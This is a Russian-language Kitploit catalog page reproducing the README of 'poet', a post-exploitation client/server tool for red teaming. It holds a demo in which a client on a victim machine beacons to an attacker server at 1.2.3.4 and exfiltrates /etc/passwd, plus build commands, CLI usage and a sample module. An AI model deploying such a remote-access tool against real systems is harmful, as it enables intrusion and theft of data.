Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poet — [не поддерживается] Инструмент пост-эксплуатации | Kitploit
Инструменты/GitHubGitHub/offlinemark/poet
РазведкаГенерация полезной нагрузкиЭксфильтрация данныхПост-эксплуатацияКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubofflinemark/poet

poet

[не поддерживается] Инструмент пост-эксплуатации

Репозиторий
1815010 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

poet

Простой инструмент для пост-эксплуатации.

обзор

Клиентская программа запускается на целевой машине и настраивается с IP-адресом (сервера) для подключения и частотой подключения. Если сервер не работает в момент попытки подключения клиента, клиент тихо засыпает и пытается снова через заданный интервал. Если же сервер запущен, атакующий получает управляющую оболочку для управления клиентом и выполнения различных действий на цели, включая:

  • разведка
  • удаленная оболочка
  • эксфильтрация файлов
  • загрузка и выполнение
  • самоуничтожение

демонстрация

Это лишь небольшой пример того, что может сделать Poet.

Сценарий: атакующий получил доступ к машине жертвы, загрузил и выполнил клиент. Сервер на данный момент не запущен, но это не страшно — клиент терпеливо ждет. В конце концов атакующий готовится и запускает сервер, сначала запускает оболочку и выполняет uname -a, затем эксфильтрует /etc/passwd. После этого он выходит и отсоединяется от клиента, который продолжает работу на цели и ждет следующей возможности подключиться к серверу. Позже он подключается снова, самоуничтожая клиент и удаляя все следы с цели.

Машина жертвы (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

Предупреждение: После выполнения этой команды вам нужно будет либо выполнить selfdestruct с сервера, либо убить процесс poet-client, чтобы остановить клиент.

Машина атакующего (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

начало работы

Перейдите на страницу релизов и загрузите последние файлы poet-client и poet-server.

Затем перейдите к разделу Использование ниже.

Кроме того, вы можете собрать Poet самостоятельно (это довольно просто, см. ниже).

сборка

Убедитесь, что в вашей системе доступны исполняемые файлы python2.7 и zip.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Это создаст каталог bin/, содержащий poet-client и poet-server.

использование

Poet очень прост в использовании и не требует ничего, кроме стандартной библиотеки Python (2.7). Для простого тестирования типичный вызов будет выглядеть так:

Терминал 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

По умолчанию клиент Poet демонизируется и удаляет себя с диска, поэтому это поведение подавляется с помощью флагов --debug и --no-selfdestruct.

Терминал 2:

root@kitploit:~
$ sudo ./poet-server

По умолчанию сервер должен запускаться от root (с помощью sudo), потому что по умолчанию он привязывается к порту 443. Если это вас беспокоит, просто опустите sudo и используйте флаг -p <PORT> как на клиенте, так и на сервере. Выберите высокий номер порта (> 1024).

конфигурация

Файл common/config.py содержит различные необязательные настройки конфигурации для сборок Poet.

  • AUTH: Секретный токен аутентификации, общий для клиента и сервера для аутентификации клиента. Обратите внимание, что значение по умолчанию отнюдь не секретно. Для любого использования, отличного от тестирования, рекомендуется изменить его на другое непредсказуемое значение. Обратите внимание, что предварительно собранные пакеты используют токен аутентификации по умолчанию (открытый).
  • ARCHIVE_DIR: Каталог, используемый сервером для хранения файлов (вывод выполнения команд, эксфильтрация, разведка и т.д.).
  • SERVER_IP: IP-адрес сервера.
  • BEACON_INTERVAL: Интервал в секундах между маячками клиента к серверу.

Конфигурации SERVER_IP и BEACON_INTERVAL позволяют включить информацию, ранее требуемую в аргументах командной строки, непосредственно в конечные исполняемые файлы, так что конечный исполняемый файл может быть запущен без аргументов. Значение None для любого из них возвращает их к поведению по умолчанию (обязательный аргумент командной строки для SERVER_IP, необязательный аргумент командной строки для BEACON_INTERVAL).

клиент

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet — это клиент-серверное приложение. Клиент выполняется на цели и отправляет маячки обратно на сервер с заданным интервалом времени. Единственный обязательный аргумент — IP-адрес, где работает или будет работать сервер. После него можно указать интервал времени в секундах для отправки маячков, по умолчанию — 10 минут. Порт, на который клиент будет отправлять маячки, можно указать с помощью флага -p. Все остальные флаги не используются в «реальном» сценарии и существуют в основном для отладки.

сервер

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

Сервер выполняется на собственной машине пользователя и ожидает маячки от клиента. По умолчанию он прослушивает привилегированный порт (443) и должен запускаться с привилегиями (которые быстро сбрасываются после привязки). Флаг -p можно использовать для обхода этого, выбрав непривилегированный порт для прослушивания (>1024).

расширяемость

Poet очень расширяем благодаря своей модульной системе; по сути, почти каждая команда, доступная в оболочке posh, реализована в виде модуля. Их можно просмотреть в каталоге common/modules/. Файл common/modules/template.py служит минимальным примером модуля, который можно использовать как отправную точку. Чтобы добавить модуль Poet, просто поместите его в каталог common/modules/ и пересоберите Poet с помощью make.

Вот простой пример модуля, показывающий базовую связь между клиентом и сервером. Модуль регистрирует команду posh, отправляет строку на сервер, клиент переворачивает её и отправляет обратно, а сервер выводит результат.

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Модуль начинается с

root@kitploit:~
import module

Это обязательно и необходимо для регистрации в модульном фреймворке.

Следующая часть — серверный компонент модуля.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

Декоратор @module.server_handler() используется для регистрации команды posh путём передачи имени команды в качестве параметра декоратора и определения функции-обработчика, которая будет выполняться при запуске команды. Функция-обработчик должна принимать два параметра: один — экземпляр PoetServer, который вызвал модуль, а другой — введённую командную строку, представленную в виде списка аргументов. Экземпляр сервера существует, чтобы модуль мог использовать вспомогательные функции для связи с клиентом, записи файлов в каталог архива и т. д. Модуль использует server.conn.exchange() для отправки командной строки клиенту в виде строки и получения ответа в качестве возвращаемого значения.

Далее идёт клиентский компонент модуля.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

Декоратор @module.client_handler() используется для регистрации задачи, на которую клиент должен реагировать и обрабатывать. Поскольку клиент и сервер обмениваются строками, первая часть строки является ключевым словом для конкретной задачи. Модуль регистрирует функцию-обработчик клиента, которая выполняется, когда от сервера приходит сообщение, начинающееся с 'reverse'. Как и обработчик сервера, обработчик клиента должен принимать параметры для экземпляра PoetClient, который его вызвал, и входную строку, переданную от сервера. Затем клиент использует функцию client.s.send() для отправки данных обратно на сервер — в данном случае перевёрнутого первого аргумента.

В действии это выглядит так

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

проблемы

Задокументированные проблемы:

  • отсутствие криптографически защищённой связи
  • маячки с низким интервалом шумны и генерируют TCP RST, когда сервер неактивен
  • команда оболочки не является «настоящей» оболочкой и не поддерживает большинство встроенных команд, встречающихся в стандартных оболочках

отказ от ответственности

Я создаю Poet исключительно для собственного образования и получения опыта. Код свободно доступен, потому что я думаю, что он может быть полезен другим, заинтересованным в изучении подобных вещей. Используйте его ответственно.

Скачать инструмент